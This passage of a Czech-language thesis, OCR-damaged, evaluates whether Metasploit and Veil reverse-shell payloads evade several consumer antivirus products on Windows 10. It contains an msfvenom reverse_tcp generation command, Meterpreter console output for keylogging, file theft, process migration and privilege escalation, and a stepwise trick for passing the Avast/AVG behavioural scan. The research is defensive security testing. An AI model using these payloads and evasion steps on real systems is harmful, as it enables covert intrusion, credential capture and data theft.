Nazev souboru Prog. jazyk a protokol Dalsi atributy Funk¢ni

c-http.exe c/meterpreter/rev_http Ano
c-tcp.exe c/.../rev_tcp Ano
cs-http.exe cs/.../rev_http Ano
cs-https.exe cs/.../rev_https Ano
cs-tcp.exe cs/.../rev_tcp Ano
cs-httpArya.exe cs/.../rev_http ARYA crypter Ano
cs-httpsArya.exe cs/.../rev_https ARYA crypter Ano
cs-tcpArya.exe cs/.../rev_tcp ARYA crypter Ano
go-http.exe go/.../rev_http Ano
go-httpUserPromnt.exe go/.../rev_http Userpromnt Ano
go-https.exe go/.../rev_https Ne
go-tcp.exe go/.../rev_tcp Ano
ps-http.bat powershell/.../rev_http Ano
ps-https.bat powershell /.../rev_https Ano
ps-tcp.bat powershell /.../rev_tcp Ano
py-http.exe python/.../rev_http Ano
py-httpPyherion.exe python/.../rev_http Pyherion Ano
py-https.exe python/.../rev_https Ano
py-tcp.exe python/.../rev_tcp Ano
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ruby-http.exe ruby/.../rev_http Ano
ruby-https.exe ruby/.../rev_https Ano
ruby-tcp.exe ruby/.../rev_tcp Ano

Z této tabulky je ziejmé, Ze nepotvrdil funkénost pouze jeden soubor a to go-
https.exe, autorovi prace se nepovedlo vygenerovat takovy, ktery by fungoval. Jinak
vSechny ostatni vygenerované soubory se pripojily na vzdaleny server, stahly
potfebnou knihovnu, spustily ji a nasledné umozZnily pouziti prikazu shell pro
zobrazeni prikazové radky.

Nasledujici Tabulka 10 - Msfvenom vygenerované soubory obsahuje soubory,
které jsou vygenerované pomoci Metasploit Framework s vyuZitim msfvenom

generatoru a uzivatelem definovanych nasteveni.

Tabulka 10 - Msfvenom vygenerované soubor
Nazev souboru Prokolol FunKk¢ni

msfVenomHTTP.exe HTTP Ano
msfVenomHTTPS.exe HTTPS Ano
msfVenomTCP.exe TCP Ano

VSechny spustitelné soubory jsou vygenerovany pomoci nasledujiciho prikazu,
méni se pouze protokol a jméno souboru:
msfvenom -p windows/meterpreter/reverse tcp lhost=169.254.210.161 lport=80 -f exe
-0 /shared/msfvenomTCP.exe

Pro tucel testovani vSech moZnosti se autor pokusil vytvorit i zaSifrovany
soubor pomoci Shikata_ga_nai, bohuzel msfvenom soubor nevytvoril a nenapsal ani
zadnou chybu. Priklad nefunkéniho prikazu:

msfvenom -p windows/meterpreter/reverse tcp lhost=169.254.210.161 lport=80 -f exe

-0 —e x86/shkikata ga nai /shared/msfvenomTCP.exe

4.2.2 Test Windows Defender

Tento test zahrnuje spusténi kazdého vygenerovaného souboru a potvrzeni
jeho funk¢nosti, stejné jako tomu bylo v predchozi kapitole. Rozdilem je pritomnost

antivirového resSeni spolecnosti Microsoft - Windows Defender. Ten ma povolené
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veskeré komponenty a jeho nastaveni neni nijak zménéno oproti zakladnimu, které je

nastavené pri instalaci opera¢niho systému.

Vysvétleni pozorovanych aktivit antiviru:

e A -alert - notifikace antiviru o S$kodlivém souboru

e D - smazani souboru

e (- connect - soubor navazal spojeni a potvrdil funkénost
e F -found - nalezeni pred spuSténim souboru

e N -no reation - zadn4 akce antiviru

Tabulka 11 - Test Widows Defender zahrnuje pozorované akce antiviru pro kazdy
testovany soubor. Ve sloupci Total jsou zahrnuty vSechny akce tak, jak je antivir
vykonaval napft. A, C, D znamen3, Ze pti spousténi souboru antivir upozornil uzivatele,
presto tento soubor navazal spojeni a potvrdil svou funkcnost, utok tedy nebyl

omezen, po ukonceni procesu byl soubor antivirem smazan.

Tabulka 11 - Test Widows Defender

File ‘ Found Alert Connect Noreact. Delete Total Hidden ‘
c-http.exe v v v A G, X
D
c-tcp.exe v v N, C v
cs-http.exe v v N, C v
cs-https.exe v v v A, C, X
D
cs-tcp.exe v v N, C v
cs-httpArya v v v A G, X
.exe D
cs-https v v v A G, X
Arya.exe D
cs-tcpArya v v v A G, X
.exe D
go-http.exe v v N, C v
go-http v v N, C v
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UserPromnt

.exe
go-tcp.exe v v N, C v
ps-http.bat v v N, C v
ps-https.bat v v N, C v
ps-tcp.bat v v N, C v
py-http.exe v v N, C v
py-http v v N, C v
Pyherion.exe

py-https.exe v v N, C v
py-tcp.exe v v N, C v
ruby-http.exe v A X
ruby- v A X
https.exe

ruby-tcp.exe v v AD X
msfVenom v v v A G, X
HTTP.exe D
msfVenom v v v v F, A, X
HTTPS.exe C,D
msfVenom v v N, C v
TCP.exe

Soubory, se kterymi budou pracovat nasledujici testy, vychazi z vyse uvedené
tabulky. Pracovat se bude se vSemi soubory, proti kterym Windows Defender
nepodnikl Zddnou akci a nechal je potvrdit funkénost, maji tedy klasifikaci N, C. Tyto
soubory jsou v tabulce oznaceny ve sloupci Hidden znackou v'.

Zajimavosti:

-  Windows Defender soubory, které klasifikoval jako Skodlivé, rovnou smazal,
bez moznosti uzivatele tomuto chovani zabranit.
- jeden soubor z testovanych, a to msfVenomHTTPS.exe, byl odhalen jeSté pred

spusténim.
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- Nékteré soubory jako ruby-http.exe byly pri spusténi Klasifikovany jako

Skodlivé, nenavazaly komunikaci, a antivir je ze systému neodstranil

V Tabulce 12 - Soubory, které prosly testem, jsou vypsany vSechny soubory,

které nebyly odhaleny, potvrdily funkc¢nost, a tedy prosly testem.

Tabulka 12 - Soubory, které prosly testem
Jména souboru

c-tcp.exe ps-tcp.bat
cs-http.exe py-http.exe
cs-tcp.exe py-httpPyherion.exe
go-http.exe py-https.exe
go-http
py-tcp.exe

UserPromnt.exe

go-tcp.exe msfVenomTCP.exe

Vysledny pomér uspésnych/netuspésnych soubori je 12/24. Windows

Defender Antivirus tedy uspésné odhalil polovinu z testovanych soubort.

4.2.3 Test Avast Free Antivirus

Test Avast probihal stejnym zplsobem jako test Windows Defender, jen

tabulka pozorovanych akci antiviru byla rozsifena o nasledujici sloupce:

e Action
o Chest - umisténi souboru do truhly
o Ignore - ponechani souboru beze zmény
e Disconnect after test - po 15 vtefinovém testu prerusSeni spojeni se
vzdalenym hostem
e Blocked - prfi spusténi souboru zamezeni navazani komunikace se

vzdalenym hostem

Tabulka 13 - Test Avast Free Antivirus shrnuje pozorované akce antiviru
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Tabulka 13 - Test Avast Free Antivirus
Disconnect

Soubor Found Alert Connect I Action Blocked Skryté
c-tcp.exe v Chest v
cs-http.exe v v v Ignore
cs-tcp.exe v v v Ignore
go-http.exe v Chest v
go-http v Chest v
UserPromnt.exe
go-tcp.exe v Chest v
ps-tcp.bat v v
py-http.exe v Chest v
py-http v v v Ignore
Pyherion.exe
py-https.exe v v v Ignore
py-tcp.exe v v v Ignore
msfVenomTCP v Chest v

.exe

Zajimavé chovani Ize pozorovat u soubort:

- ps-http.bat
- ps-https.bat

KdyZ dojde kjejich spusténi, je navazano spojeni, ale jiZ neprobéhne nutna
stage pro vzdalené ovladani pocitace obéti, tedy nelze zasilat vzdalené prikazy, ani
jiné soubory, zarovenni o tom uZivatel neni notifikovin a vzdaleny host neni
notifikovan o preruseni spojeni.

Autor ndhodou objevil chovani antiviru, kdy je mozZné projit testem i kdyz byl
soubor Kklasifikovan jako podezrely. Stejné chovani vykazuje i antivir AVG, vice je toto

chovani popsané v kapitole 4.2.5 Priichod kratkodobym testem AVG a Avast.

Vysledny pomér uspésnych/nedspésnych souborti je 1/12.
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4.2.4 Test AVG

Timto testem chtél autor kromé samotné funkcnosti antiviru vyzkouset i to, jak

se od sebe lisi antiviry Avast Free Antivirus a AVG Antivirus free, diky akvizici AVG

Avastem ocekaval autor velmi podobné chovani. Vysledky testu jsou zaznamenany v

Tabulce 14 - Test AVG Antivirus free.
Tabulka 14 - Test AVG Antivirus free

Soubor Found Alert Connect pisconnect Action Blocked Skryté
after test
c-tcp.exe v Chest v
cs-http.exe v v v Ignore
cs-tcp.exe v v v Ignore
go-http.exe v Chest v
go-http v Chest v
UserPromnt.exe
go-tcp.exe v Chest v
ps-tcp.bat v v
py-http.exe v Chest v
py-http v v v Ignore
Pyherion.exe
py-https.exe v v v Ignore
py-tcp.exe v v v Ignore
msfVenomTCP v Chest v

.exe

Prvotni domnénka o podobnosti antiviri se autorovi potvrdila, ale necekal, Ze
vétSina grafickych komponent obou antivirii je podobna (aZ na rozdilné barvy a text)
napt. okno pro vypsani ozndmeni o nalezeni podezielého souboru je ve své podstaté
stejné pro oba antiviry.

Podobnost 1ze pozorovat i v chovani kratkodobého testu, ktery se autorovi
povedlo obejit viz kapitola 4.2.5 Priichod kratkodobym testem AVG a Avast.

Chovani a vysledny pomér uspésSnych/nedspésnych soubori je 1/12, tedy

stejny jako u antiviru Avast Free Antivirus.
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4.2.5 Pruchod kratkodobym testem AVG a Avast

Pii testovani antivirovych teSeni pfiSel autor na metodiku, jak projit
kratkodobym testem AVG a Avast bez detekce Skodlivého chovani spustitelného
souboru.

Kroky k netspésnému priichodu skenem:

1) SpuSténi spustitelného souboru
2) Navazani spojeni se vzdalenym hostem a potvrzeni funk¢nosti
3) Antivir ihned zahaji kratkodoby test

4) Pockani na vysledky testu antiviru

Po uplynuti lhity (dle antiviru 15 vtefin) je spustitelny soubor vyhodnocen
jako skodlivy, ale neni proti nékomu podniknuta Zadna invazivni akce, pouze je
pireruseno spojeni se vzdalenym hostem.

Kroky k dspésnému priichodu skenem:

1) Spusténi spustitelného souboru
2) Navazani spojeni se vzdalenym hostem a potvrzeni funkénosti
3) Antivir ihned zahaji kratkodoby test
4) Ukonceni spojeni ze strany serveru prikazem meterpreter > exit
5) Pockani na vysledky testu antiviru
a. Spustitelny soubor je vyhodnocen jako neskodny
6) Opétovné spusténi souboru
7) Navazani spojeni se vzdalenym hostem a potvrzeni funk¢nosti
8) Antivir jiZz predem vyhodnotil, Ze soubor neni Skodlivy a Zadny test

nespusti

Sta¢i tedy nevykonavat Skodlivou c¢innost a neudrZovat spojeni béhem
kratkodobého testu a soubor je oznacen jako bezpetny. To autorovi potvrzuje
informace o moZnosti vyuZiti NOPS a dalSich operaci, které maji za tkol zdrZovat

skener antiviru.
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4.2.6 Test Eset Nod32

Eset Nod32 jako prvni ze zatim testovanych antivird spustil hned po instalaci
sken systému. Autor prace stejné jako u ostatnich testli dodal testovaci soubory az po

plné instalaci a aktualizaci antivirového reSeni.

Tabulka 15 - Test Eset Nod32
Disconnect

Soubor Found Alert Connect - Action Blocked Skryté
c-tcp.exe v Delete
cs-http.exe v Delete
cs-tcp.exe v Delete
go-http.exe v Delete
go-http v Delete
UserPromnt.exe
go-tcp.exe v Delete
ps-http.bat v Delete
ps-https.bat v Delete
ps-tcp.bat v Delete
py-http.exe v Ignore v
py-http v Ignore v
Pyherion.exe
py-https.exe v v
py-tcp.exe v v
msfVenomTCP v Delete

.exe

U vétsSiny souborti po jejich spusténi antivirus bud upozornil uzivatele na utok
a soubor smazal, nebo upozornil uZivatele, a zablokoval spojeni, soubor nechal beze
zmény.

Vysledny pomér aspésnych/nedspésnych souborti je 2/12.
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4.2.7 Test Kaspersky Anti-Virus

Prvni ze tfi dostupnych antivirovych reSeni spolecnosti Kaspersky. Varianta
Kaspersky Anti-Virus slibuje zakladni zabezpeceni systému, jedna se o nejlevné;jsi
variantu. Dil¢im cilem testd antivirovych produktli spolecnosti Kaspersky je i zjisténi
rozdilii mezi jednotlivymi variantami produkti. Tabulka 16 - Test Kaspersky Anti-

Virus zachycuje vysledky testu.

Tabulka 16 - Test Kaspersky Anti-Virus
Disconnect

Found Alert Connect Action Blocked Skryté
after test
c-tcp.exe v v
cs-http.exe v v Delete
cs-tcp.exe v v Delete
go-http.exe v Ignore v
go-http v Delete
UserPromnt.exe
go-tcp.exe v v Delete
ps-http.bat v Delete
ps-https.bat v Delete
ps-tcp.bat v Delete
py-http.exe v Ignore v
py-http v Ignore v
Pyherion.exe
py-https.exe v Ignore v
py-tcp.exe v v
msfVenomTCP v Delete
.exe
Zajimavosti:

- Jako jeden z mala antivird prohledaval kazdou slozku pfti jejim otevieni (bez

citelného sniZeni vykonu systému). Nalezl i nékolik soubord, které autor
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pouzival jako testovaci, ty nalezl také Eset Nod32 pri prvnim otevieni sitové
slozky.

- Po nékolika nalezenych hrozbach automaticky spustil kontrolu rootkiti

- U nékterych soubori jako napft. py-http.exe antivir upozornil uzivatele na
nepovolenou aktivitu, zamezil stahovani souboru z IP adresy tutoc¢nika a nechal
soubor dal bez akce. Dle hlasek antiviru se autor domniva, zZe antivir blokoval
poté vSechna spojeni s IP adresou tutoc¢nika, adresu ale v seznamu blokovanych
nenaSel, navic i po tomto zablokovani, soubory, které prosly testem, dale

potvrzovaly svou funk¢nost.
Vysledny pomér uspésSnych/nedspésnych souborti je 2/12.

4.2.8 Test Kaspersky Internet Securtity

Kaspersky Internet Security je stfedni varianta antivirovych produkti
spolecnosti Kaspersky, dle webu Kaspersky je doporucena pro vétSinu uZzivateld.

Z hlediska ochrany rozsiruje zakladni variantu Kaspersky Anti-Virus o ochranu
internetovych plateb a ochranu osobnich udajt.

Vysledky testu jsou zachyceny v Tabulce 17 - Test Kaspersky Internet Security.

Disconnect
Found Alert Connect Blocked Skryté
after test

c-tcp.exe v
cs-http.exe v v Delete
cs-tcp.exe v v Delete
go-http.exe v
go-http v Delete
UserPromnt.exe

go-tcp.exe v v Delete
ps-http.bat v Delete
ps-https.bat v Delete
ps-tcp.bat v Delete
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py-http.exe v Delete

py-httpPyherion v Delete
.exe
py-https.exe v Delete
py-tcp.exe v Delete
msfVenomTCP v Delete
.exe

Pouze v testech Kaspersky Internet Security a Kaspersky Total Security

neproSel zadny z testovanych soubort.

4.2.9 Test Kaspersky Total Security

Varianta Total Security rozsifuje predesSlou variantu o spravu hesel a Sifrovani

souborti. Jedna se o nejdrazsi variantu, ktera slibuje iplnou ochranu.

Vysledky testu jsou shrnuty v Tabulce 18 - Test Kaspersky Total Securtiy.

Disconnect
Soubor Found Alert Connect Action Blocked Skryté
after test
c-tcp.exe v
cs-http.exe v v Delete
cs-tcp.exe v v Delete
go-http.exe v
go-http v Delete
UserPromnt.exe
go-tcp.exe v v Delete
ps-http.bat v Delete
ps-https.bat v Delete
ps-tcp.bat v Delete
py-http.exe v Delete
py-httpPyherion v Delete

.exe
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py-https.exe v Delete

py-tcp.exe v Delete
msfVenomTCP v Delete
.exe

Vysledky testli jsou totozné s predchozim testem, kdy testem neprosel jediny

z testovanych souborii.

4.2.10 Zaver testu

Shrnuti testl zahrnuje nasledujici tabulka: Tabulka 19 - Shrnuti ispéSnosti

antivirovych produktd.

Tabulka 19 - Shrnuti uspésnosti antivirovych produktu

Antivirovy program Licence Neodhalené soubory
Windows Defender V ramci Windows 10 12/24
Avast Free Antivirus Free 1/12
AVG Antivirus free Free 1/12
Eset Nod32 Antivirus Trial 2/12
Kaspersky Anti-Virus Trial 2/12
Kaspersky Internet security Trial 0/12
Kaspersky Total security Trial 0/12

Jasné nejlepSim antivirovym reSenim se staly Kaspersky Internet Security a
Kaspersky Total Security, protoZe v jejich testu neproSel jediny ztestovanych
soubort.

Zajimavym poznatkem je, Ze v testech antivirti prosly vzdy rtzné soubory,
testované soubory. Pouze soubor py-tcp.exe byl ispésny u dvou antivird od riiznych
spolecnosti (autor prace povazuje po akvizici AVG Avastem za jednu spolecnost, i

antiviry vykazovaly podobné chovani).
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Tabulka 20 - Nejaspésnéjsi testované soubor
Soubor Antivir ‘

c-tcp.exe Kaspersky Anti-Virus
Avast Free Antivirus
ps-tcp.bat
AVG Antivirus Free
py-https.exe Eset Nod32 Antivirus
Eset Nod32 Antivirus
py-tcp.exe

Kaspersky Anti-Virus

4.3 Nebezpecéna ¢innost v prostredi obéti

Cilem testu je dale otestovat funkCnost antivirovych feSeni pri zabranéni
provadéni vybranych nebezpecnych operaci. Operace byly vybrany tak, aby v ramci
testu jejich zaméreni pokrylo co nejvétsi Siri pouZiti, a to zejména oblasti: sbér dat,
kterd zadava uzivatel, stahovani vybranych souborii, operace s ostatnimi bézicimi
procesy a ziskani nejvy$siho opravnéni systému.

Tento test se sklada z nékolika dil¢ich testu a to:

- Keylogging
o sbér stiskti klavesnice
- File downloading
o stahovani vybraného souboru ze systému obéti
- Migrace do vybraného procesu
o Presunuti meterpreter session do kontextu jiného procesu
- Ziskani opravnéni SYSTEM

o Pomoci ptikazu getprivs

VSechny tyto testy budou vyuzivat vzdaleného pripojeni k dto¢nikovi, ktery
vykond akce potiebné ke splnéni cilli dilc¢ich testl. V ramci testi je vyuzit zavér testu
z predeslé kapitoly, pracuje se pouze s UspéSné skrytymi soubory, které potvrdily
svou funk¢nost, a to pouze pod antivirovym reSenim, které je neodhalilo v kombinaci
se zapnutym antivirovym feSenim Windows Defender. Konfigurace prostredi je

shodna s predchozimi testy.
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4.3.1 Keylogging

Cilem utoc¢nika je vtomto testu ziskani stiskil kldves aktudlné prihlaseného
uzivatele, které uzivatel béhem testu stiskne.

Tento test vyuZiva nasledujici metodiku:

1) Soubor nalézajici se v sitové slozce, ke které ma pristup pocita¢ obéti, je
spustén a je navazano spojeni

2) Na pocitaci utocnika je po pripojeni k obéti proveden nasledujici prikaz

a. meterpreter >
3) Na pocitaci obéti je na klavesnici napsano nasledujici:

a. uZivatelskeJmeno
b. Enter
c. Heslo
4) Na pocitaci utoc¢nika je napsan nasledujici ptikaz, ktery vypiSe, co uZivatel
systému obéti napsal na klavesnici

a. meterpreter >
5) Mezitim je sledovana a zaznamenana aktivita antivirového reSeni

Na pocitaCi utoc¢nika by idealni pribéh mél vypadat, viz Obrazek 21 -
Keylogging Atacker.

loit{ )} = set payload windows/meterpreter/reverse tcp
=> windows/meterpret reverse_tcp
) = run

) to 169.254.210.162
: 3 op d (169.254.210.161:80 -> 169.254.210.162:50495) a
t 2018-02-28 -0600

erpreter = keyscan start
ting the troke sniffer

meterpreter =

Dumping captured keystre
uzZzivatelsko<Shift=Imeno<CR=>
heslo<CR>

[#] Shutting down Meterpreter...

[#] 169.254.210.162 - Meterpreter s

Obrazek 21 - Keylogging Atacker
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Shrnuti vysledki testu je zobrazeno v Tabulce 21 - Test Keylogging.

Tabulka 21 - Test Keylogging

Soubor Antivirus Alert Action Blocked Data Collected

c-tcp.exe Kaspersky Anti-Virus v

Avast Free Antivirus X
ps-tcp.bat

AVG Antivirus Free
py-https.exe Eset Nod32 Antivirus v
py-tcp.exe Eset Nod32 Antivirus v
py-tcp.exe Kaspersky Anti-Virus v

Kaspersky Anti-Virus nezjistil Zddnou podezielou c¢innost a utoc¢nikovi se
podarilo ziskat historii stiskli klavesnice.

Avast a AVG nezjistily zadnou podezielou ¢innost, ale vystup historie stiskii
klavesnice je prazdny. Uto¢nikovi se tedy nepodarilo ziskat vybrané informace.

Eset Nod32 Antivirus nezjistil Zddnou podezielou Cinnost a utoc¢nikovi se

podarilo ziskat historii stiska klavesnice.

4.3.2 File downloading

Cilem utoc¢nika je v tomto testu staZeni vybraného souboru, ktery se naléza na
sitové sloZce, ke které ma pristup aktualné prihlaSeny uZzivatel na pocitaci obéti.

Vybrany soubor je prazdny dokument Word, ktery se naléza na sitové sloZce,
tedy mimo lokalni sloZky obéti. Simuluje pokus o ziskani dat ze sitového uloZiste,
které je pristupné pouze hostiim v ramci lokalni sité.

Tento test vyuziva nasledujici metodiku:

1) Soubor nalézajici se v sitové slozce, ke které ma pristup pocita¢ obéti, je
spusStén a je navazano spojeni
2) Na pocitaci utoc¢nika je po pripojeni k obéti proveden nasledujici prikaz

a. meterpreter > download E:\\toDownload.docx
3) Mezitim je sledovana a zaznamenana aktivita antivirového reSeni

Spravny vystup konzole na pocita¢i utocnika viz Obrazek 22 - File

Downloading.
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meterpreter » download E:\\toDownload.docx
[#*] Downloading: E:\toDownload.docx -> toDownload.docx
[#] download : E:\toDownload.docx -= toDownload.docx

meterpreter =

Obrazek 22 - File Downloading

Tabulka 22 - Test File downloading

Soubor Antivirus Alert Action Blocked Data Collected

c-tcp.exe Kaspersky Anti-Virus v

Avast Free Antivirus v
ps-tcp.bat

AVG Antivirus Free
py-https.exe Eset Nod32 Antivirus v
py-tcp.exe Eset Nod32 Antivirus v
py-tcp.exe Kaspersky Anti-Virus v

Zadny z antivir nezabranil Gto¢nikovi ve stahnuti vybraného souboru, ktery
mohl obsahovat citlivé firemni nebo osobni informace.
Lze tedy usoudit, Ze je mozné ziskat citlivd data i pres nainstalovanou

antivirovou ochranu.

4.3.3 Migrace do vybraného procesu

Cilem utocnika je migrovat meterpreter session do kontextu jiného procesu,
aby ztizil antivirovym programiim své odhaleni a také ziskal opravnéni, ktera vlastni
cilovy proces. Vybranym procesem je explorer.exe. Migraci zajisti meterpreter.

Tento test vyuZiva nasledujici metodiku testovani:

1) Soubor nalézajici se v sitové sloZce, ke které ma pristup pocitac¢ obéti, je
spustén a je navazano spojeni
2) Na pocitaci utoc¢nika je po pripojeni k obéti proveden nasledujici prikaz

a. meterpreter > migrate 4112
3) Mezitim je sledovana a zaznamenana aktivita antivirového reSeni

Pro spravné pouziti prikazu Migrate je nutné znat PID vybraného procesu. To
je zjiSténo pomoci prikazu ps na operacnim systému obéti. Tento prikaz vypise

v v/

vSechny aktualné béZici procesy na opera¢nim systému Windows, konkrétni zaznam
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pro explorer.exe se na pocitaci obéti naléza pod PID 4112, viz Obrazek 23 - ps

explorer.exe.

4112 428 explorer.exe x64 DESKTOP-EVH2P91\userWin C:\Windows\explorer.exe

Obrazek 23 - ps explorer.exe

Shrnuti vysledki testu zahrnuje Tabulka 23 - Test Migrate.
Tabulka 23 - Test Migrate

Soubor Antivirus Alert Action Blocked Success
c-tcp.exe Kaspersky Anti-Virus Delete v X
Avast Free Antivirus v User action v X
ps-tcp.bat
AVG Antivirus Free
py-https.exe Eset Nod32 Antivirus v
py-tcp.exe Eset Nod32 Antivirus X X
py-tcp.exe Kaspersky Anti-Virus v Delete v X

Kaspersky, AVG a Avast tispésné zabranily vSem pokusim o migraci procesu.

Eset Nod32 pfti testovani souboru py-tcp.exe nehlasil Zadné upozornéni, ale pti
pouziti prikazu migrate se spojeni s itonikem prerusilo. Soubor py-https.exe jako
jediny prosel testem, Gspésné migroval do procesu explorer.exe.

Jediné antivirové teseni, které neproslo testem je Eset Nod32 Antivirus, které

utoku v pripadé souboru py-https.exe nezabranilo.

4.3.4 Ziskani opravnéni SYSTEM

Cilem utocnika vtomto testu je ziskani opravnéni SYSTEM pomoci prikazu
getprivs. Toto opravnéni je nejvysSi mozné, které lze ziskat v operacnim systému
Windows 10 a jeho ziskani umozZnuje tplnou kontrolu nad zarizenim.

Soubor, ktery navazuje spojeni s utocnikem, musi mit prava administratora,
proto bude tento soubor spustén jako Administrator a musi byt umistén na lokalnim
uloziSti eg. StaZzené soubory, nebo plocha uZzivatele. VysSi opravnéni vyZzaduji
techniky, které cili pravé na eskalaci privilegii az na opravnéni SYSTEM, bézny

uzivatel toto opravnéni neziska.
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Tento test vyuziva nasledujici metodiku testovani:

1) Soubor nalézajici se v lokalni sloZce, ke které ma pristup pocitac obéti, je
spustén jako administrator standardnim uZivatelem a je navazano spojeni
2) Na pocitaci utoc¢nika je po pripojeni k obéti proveden nasledujici prikaz

a. meterpreter > getprivs
3) Mezitim je sledovana a zaznamenadna aktivita antivirového reseni

Tabulka 24 - Test Privs escalation

Soubor Antivirus Found Alert Action Blocked Success ‘
Kaspersky v
c-tcp.exe
Anti-Virus
Avast Free Antivirus v
ps-tcp.bat
AVG Antivirus Free
py-https.exe Eset Nod32 Antivirus N4 v Delete X
py-tcp.exe Eset Nod32 Antivirus v v Delete X
Kaspersky v
py-tcp.exe
Anti-Virus

Vramci tohoto testu je pozorovano dalsi chovani antivirovych teSeni, a to
reakce na pritomnost spustitelného souboru, ktery se naléza ve sloZce na lokalnim
uloZisti.

Eset Nod32 Antivirus ihned po umisténi souboru na plochu uZivatele, nebo do
Stazenych soubori, soubor detekoval a smazal. Kaspersky, AVG a Avast nijak
nereagovaly ani v priibéhu testu.

Pouze Eset Nod32 zabranil atoc¢nikovi v ziskani opravnéni SYSTEM.

Pozn. U vSech tuspésnych pokust o ziskani opravnéni toho bylo docileno
pomoci automaticky vybrané techniky: Named Pipe Impersonation.

Pri drivéjsSich testech pracoval autor i s Windows Defender, ktery dokazal
odhalit eskalaci privilegii, pokud spustitelny soubor nebyl spusStén jako
Administrator.

Z tohoto testu lze usoudit, Ze se znalosti aktualné pouZzivaného antivirového
feSeni obéti lze ziskat nejvyssi mozné opravnéni operacniho systému. Pouze Eset

Nod32 dokaze detekovat Skodlivy soubor.
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5 Shrnuti vysledku

Vysledky vybranych antivirovych fteseni jsou ve vétSiné pripadd velmi
uspésné, primeérna uspeésnost se pohybuje okolo 11 uspésné detekovanych
Skodlivych souborii z 12. Z tohoto hlediska Ize usoudit, Ze béZzné dostupna antivirova
reseni dokazi ochranit pocitac obéti ve vétSiné pripadii, viz Tabulka 19 - Shrnuti
uspésnosti antivirovych produkta.

Horsi vysledky prinesly dalsi testy, kde byly testovany reakce antivirti na
aktivni atoky proti cilovému systému, tyto vysledky shrnuje Tabulka 25 - Utoky na
systém - shrnuti.

Tabulka 25 - Utoky na systém - shrnuti

Metoda Uspésny Antivir
. Avast Free Antivirus
Keylogging AVG Antivirus Free
File Downloading Zadny neprosel testem
Avast Free Antivirus
Migrate AVG Antivirus Free
Kaspersky Anti-Virus
Privs escalation Eset Nod32 Antivirus

Celkové nejhorsi vysledky prinesl test, ktery zahrnoval stahovani dokumentt ze
sitové slozky, ktera je pristupna pouze hostim v lokalni siti. Zddny z testovanych
antivirovych feseni nezabranila tomuto tutoku.

Nejlepsi vysledky mezi vybranym antivirovym software prinesl Kaspersky
Internet Security a Kaspersky Total security, oba z tfidy placenych resSeni. ProtoZe
jako jedini odhalily vSechny testované soubory jiZ béhem prvniho testu a tim i
zabranily jejich aktivité v dalSich testech.

Na zakladé testd Ize usoudit, Ze pouziti dodatecného antivirového feSeni lze
jediné doporucit. Samotny Windows Defender jako kompletni ochrana pocitace
nestaci.

Pro dplnost ochrany je dobré uchovavat v tajnosti i to, jaké antivirové reSeni
uzivatel pouziva, protoze s touto znalosti mlze utocnik efektivné vyuzit slepych mist

a v mnoha pripadech dosahnout svého cile.
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Pokud autor pomine vitéze testli, a to Kaspersky Internet Security a Kaspersky
Total security, 1ze usoudit, Ze placena reSeni Eset Nod32 Antivirus a Kaspersky Anti-
Virus v obecnych testech dopadly hiire nez AVG Antivirus free a Avast Free Antivirus,
ktera jsou pro domaci pouziti zdarma.

Z pohledu autora ma kazdy z antivir(i sva silna a slaba mista, pokusil se tedy
urcit nejlepsSi antivirova reSeni dle jejich silnych stranek, které vyplivaji z jejich

pozorovaného chovani:

- Skeny slozek pfi jejich prochazeni uZivatelem
o Eset Nod32 Antivirus
o Produkty Kaspersky
-  Komunikace suZivatelem, poskytovani informaci o aktudlnich c¢innostech
antiviru
o Avast Free Antivirus

o AVG Antivirus free

Z obecného pohledu je zaraZejici, jak mald je uUspéSnost nastroji pro
penetracni testovani, autor prace se domniva, Ze open source témto nastrojim
paradoxné Skodi, protoze vyrobci antivirovych reSeni se mohou prizptlisobit témto
nastrojim misto toho, aby reagovali na realné hrozby. Napr. vétSina payloads
vygenerovanych pomoci msfvenom frameworku Metasploit jsou automaticky
detekovana. Autor prace by se rad vdal$i praci pokusil o vytvoreni vlastniho
spustitelného souboru, ktery navazuje pripojeni ke vzdalenému hostu bez pouZziti
open source frameworku pro penetracni testovani.

Dobrou zpravou je, Ze vSechny pokusy o vytvoreni Skodlivého souboru
vyuzivajictho makra Microsoft Office skoncily vZdy detekci, vétSinu z nich detekoval
Windows Defender, kviili tomu nebyly zahrnuty do testovani v rdmci praktické ¢asti

prace. Stejny zavér se tyka i exe backdooring, techniky, kdy se ke spustitelnému

souboru, ktery je ve whitelistu antivirového reseni, prida Skodlivy spustitelny kod.
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6 Zaveéry a doporuceni

Cilem prace bylo otestovat pouzitelnost frameworkl pro penetrac¢ni testovani
Metasploit a Veil na opera¢nim systému Windows 10 s vyuZitim bézné dostupnych
antivirovych programd.

Tento cil se autorovi podarilo naplnit nékolika testy. Prvni se zabyval
potvrzenim funkCnosti soubor(, které byly vygenerovany a testovanim zakladni
antivirové ochrany Windows 10 Windows Defender Antivirus. Na zakladé tohoto
testu vznikl seznam soubord, se kterymi se pracovalo v testech konkrétnich antivira.
Predmétem dalsiho testu bylo, zda soubory, které nebyly detekovany antivirovymi
FeSenimi, jsou stale nedetekované pii provadéni nékolika uZivatelem nepovolenych
akcich, kterymi byly: sbér historie stiskli klaves, stahovani souborti z vnitini sité
obéti, migrace meterpreter session do jiného procesu a ziskani opravnéni SYSTEM.

V teoretické Casti prace se autor zabyval zplisoby, diky kterym je testovan
antivirovy software, kde poznatky z Casti zabyvajici se ochranou a c¢isténim hrozeb
zapracoval do praktické ¢asti a diky znalosti False positives se autorovi povedlo projit
kratkodobym testem antivirt Avast a AVG. V dalsi ¢asti popisoval zplisoby, kterymi je
mozZné se ukryt pred detekci antivirem, kde vétSinu metodik vyuZil pri analyze
zdrojového kédu frameworkli Metasploit a Veil. Bez téchto znalosti by se mu
nepodarilo ani z ¢asti pochopit, jak tyto programy funguji. V posledni ¢asti prace
autor vyhledal z dostupnych zdrojii a patentli, jakym zplisobem pracuji vybrané
antivirové programy a jak se od sebe navzajem lisi.

Autora prace celkové prekvapila rozmanitost zplisobli maskovani a detekce
Skodlivych soubori, nékteré byly trividlné jednoduché a jiné velmi sloZité na
provedeni i vypocetni vykon. Vysledky testd byly také velmi rozmanité, protoZe nelze

vyhodnotit jeden univerzalni zpdsob tvorby maskovanych Skodlivych soubori.
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9 PFilohy

9.1 ASM generatator - Reverse TCP connect

zZdroj:

https://github.com/rapid7/metasploit-

framework/blob/master/lib/msf/core/payload/windows/reverse tcp.rb

[IsN

= O o J o O

11.

12.
13.
14.

15.
16.
17.
18.

19.
20.

21.

22.

23.

24.

25.

26.

# Generate an assembly stub with the configured feature set and
options.

#

